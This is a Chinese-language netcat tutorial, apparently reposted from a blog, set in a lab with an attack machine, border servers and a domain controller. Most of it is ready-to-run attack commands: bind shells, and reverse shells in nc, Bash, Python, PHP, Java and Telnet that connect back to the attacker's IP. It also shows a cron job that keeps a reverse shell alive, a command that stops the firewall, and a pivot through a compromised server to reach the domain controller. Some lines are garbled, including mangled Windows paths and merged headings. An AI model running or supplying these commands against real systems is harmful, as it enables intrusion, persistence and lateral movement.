- 实验环境
- 1 下载与部署
- 2 使用方法
- 2.1 正向shell
- 2.2 nc反dshell
- 2.3 其它反dshell
- 2.3.1 Bash反dshell
- 2.3.2 python反dshell
- 2.3.3 Telnet反dshell
- 2.3.4 PHP反dshell
- 2.3.5 Java反dshell
- 2.4 内网转发
kali(攻击机,外网地址:192.168.8.48)
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
DC(内网地址:10.1.1.2)
下载地址:https://github.com/AA8j/SecTools/tree/main/nc
或:
apt install netcat -y2 使用方法
查看帮助:
nc -h
-d // 后台模式(windows下) -e filename // 程序重定向 -g gateway // 网关。设詈路由器通信网关,最多可以设詈8个。 -G num // 设置源路由指向器的数量,为4的倍数。 -i secs // 设置时间间隔,以便传送信息及扫描通信端口。 -l // 使用监听模式。 -n // 直接使用IP地址,不通过域名服务器。 -o file // 输出文件,把往来传输的数据转换为十六进制字节码后保存在该文件中。 -p port // 设置通信端口。 -r // 随机指定本地与远程主机的通信端口。 -s addr // 源地址,设詈本地主机送出数据包的IP地址。 -t // 应答远程登录。 -u // 使用UDP传输。 -v // 详细输出。 -w secs // 设置超时秒数。 -z // 将输入输出功能关闭,只在扫描通信端口时使用。 案例: nc -v -z 目标IP 80-200 // 指定端口扫描 nc -nv 目标IP 21 // Banner 抓取 nc -lvnp 4444 // 本地端口监听 nc -nvv 目标IP 4444 // 连接远程主机2.1 正向shell
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
nc -ldp 4444 -e c:windowssystem32cmd.exe
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
nc -lvp 4444 -e /bin/sh
kali(攻击机,外网地址:192.168.8.48)
连接windows shell:
nc 192.168.8.56 4444
连接CentOS Shell:
nc 192.168.8.35 5555 # 注意:出现(UNKNOWN) [192.168.8.35] 56 (?) : No route to host的情况可以关闭目标主机防火墙 systemctl stop firewalld2.2 nc反dshell
kali(攻击机,外网地址:192.168.8.48)
nc -lvnp 4444 # 监听4444和5555端口 nc -lvnp 5555
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
nc -d 192.168.8.48 4444 -e c:windowssystem32cmd.exe
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
nc -d 192.168.8.48 5555 -e /bin/sh2.3 其它反dshell 2.3.1 Bash反dshell
kali(攻击机,外网地址:192.168.8.48)
nc -lvnp 7777
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
bash -i >& /dev/tcp/192.168.8.48/7777 0>&1 # TCP bash -i >& /dev/udp/192.168.8.48/7777 0>&1 # UDP
以tcp为例:
可以写入定时任务维持权限,crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/目录,ubuntu是/var/spool/cron/crontabs。
* * * * * /bin/bash -i >& /dev/tcp/192.168.8.48/4444 0>&12.3.2 python反dshell
kali(攻击机,外网地址:192.168.8.48)
nc -lvnp 8888
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.48",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
mknod backpipe p && telnet 192.168.8.48 4444 02.3.4 PHP反dshellbackpipe
php -r '$sock=fsockopen("192.168.8.48",4444);exec("/bin/sh -i <&3 >&3 2>&3");'2.3.5 Java反dshell
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.8.48/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()2.4 内网转发
假如kali(攻击机,外网地址:192.168.8.48)已经获取到CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)的权限,然后通过CentOS7作为跳板机又获取到了DC(内网地址:10.1.1.2)的权限,但是发现DC不出网,此时就可以通过CentOS7作为代理转发到kali上。
此方法在边界服务器为Linux时实验有效,Windows时失败。
kali(攻击机,外网地址:192.168.8.48)
nc -lvnp 4444 # 首先开启攻击机的监听
DC(内网地址:10.1.1.2)
nc -d -lvnp 4444 -e c:windowssystem32cmd.exe # DC 也开启监听
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
nc -v 192.168.8.48 4444 -c "nc -v 10.1.1.2 4444"
成功获取到DC的Shell:
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)